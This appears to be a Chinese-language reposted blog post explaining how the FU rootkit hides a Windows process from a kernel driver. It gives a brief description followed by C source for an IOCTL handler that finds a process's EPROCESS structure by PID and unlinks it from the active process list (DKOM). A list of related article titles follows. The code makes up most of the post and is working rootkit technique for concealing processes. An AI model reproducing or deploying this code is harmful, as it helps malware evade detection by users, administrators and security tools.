用驱动隐藏进程
来源:互联网 发布:maven构建java项目打包 编辑:程序博客网 时间:2024/05/21 10:11
FU_rootkit中有很多功能,先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行. FU_rootkit中的方法是先通过PsGetCurrentProcess(),(PsGetCurrentProcess returns a pointer to the process of the current thread.)得到当前进程的EPROCESS结构的指针,然后通过_LIST_ENTRY ActiveProcessLinks;在EPROCESS中的偏移遍历各个进程EPROCESS,找到pid符合的,就从链表中去掉 case IOCTL_ROOTKIT_HIDEME: if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL)) { IoStatus->Status = STATUS_INVALID_BUFFER_SIZE; break; } find_PID = *((DWORD *)InputBuffer); if (find_PID == 0x00000000) { IoStatus->Status = STATUS_INVALID_PARAMETER; break; } eproc = FindProcessEPROC(find_PID); if (eproc == 0x00000000) { IoStatus->Status = STATUS_INVALID_PARAMETER; break; } plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink; *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink; break;//////////////////////////////////////////////////////////////////////////////// This function was originally written mostly in assembly language. Now let's// make it readable to the masses.DWORD FindProcessEPROC (int terminate_PID){ DWORD eproc = 0x00000000; int current_PID = 0; int start_PID = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_PID == 0) return terminate_PID; eproc = (DWORD) PsGetCurrentProcess(); start_PID = *((DWORD*)(eproc+PIDOFFSET)); current_PID = start_PID; while(1) { if(terminate_PID == current_PID) return eproc; else if((i_count >= 1) && (start_PID == current_PID)) { return 0x00000000; } else { plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); eproc = (DWORD) plist_active_procs->Flink; eproc = eproc - FLINKOFFSET; current_PID = *((int *)(eproc+PIDOFFSET)); i_count++; } }}
- 用驱动隐藏进程
- 驱动层SSDT 隐藏进程
- 驱动级别 进程隐藏pid
- 隐藏目标进程的程序(驱动)
- 隐藏文件和进程的驱动代码
- SSDT HOOK驱动开发(1):进程隐藏
- SSDT HOOK驱动开发(1):进程隐藏
- 驱动入门——Hook SSDT 隐藏进程
- 隐藏文件和进程的驱动代码收藏
- Win64 驱动内核编程-21.DKOM隐藏和保护进程
- 驱动隐藏
- 隐藏进程
- 隐藏进程
- 进程隐藏
- 隐藏进程
- 隐藏进程
- 隐藏进程
- 隐藏进程
- Mzz的jsframework
- 求助treeview节点连接到动态创建的groupbox``
- for update 和for update of xxx的区别和用法
- Struts 与 Velocity 的集成
- K线详解【图文】
- 用驱动隐藏进程
- 对于not in 和 not exists的性能区别:
- Java虚拟机类装载:原理、实现与应用
- 如何在Action里返回值 [收藏]
- SqlDataReader无法获取Procedure的Output参数值?
- 需要注意的10个技巧
- 通过避免下列 10 个常见 ASP.NET 缺陷使网站平稳运行
- 儿童节咋就这么开心?
- 请问在oracle中如何创建临时表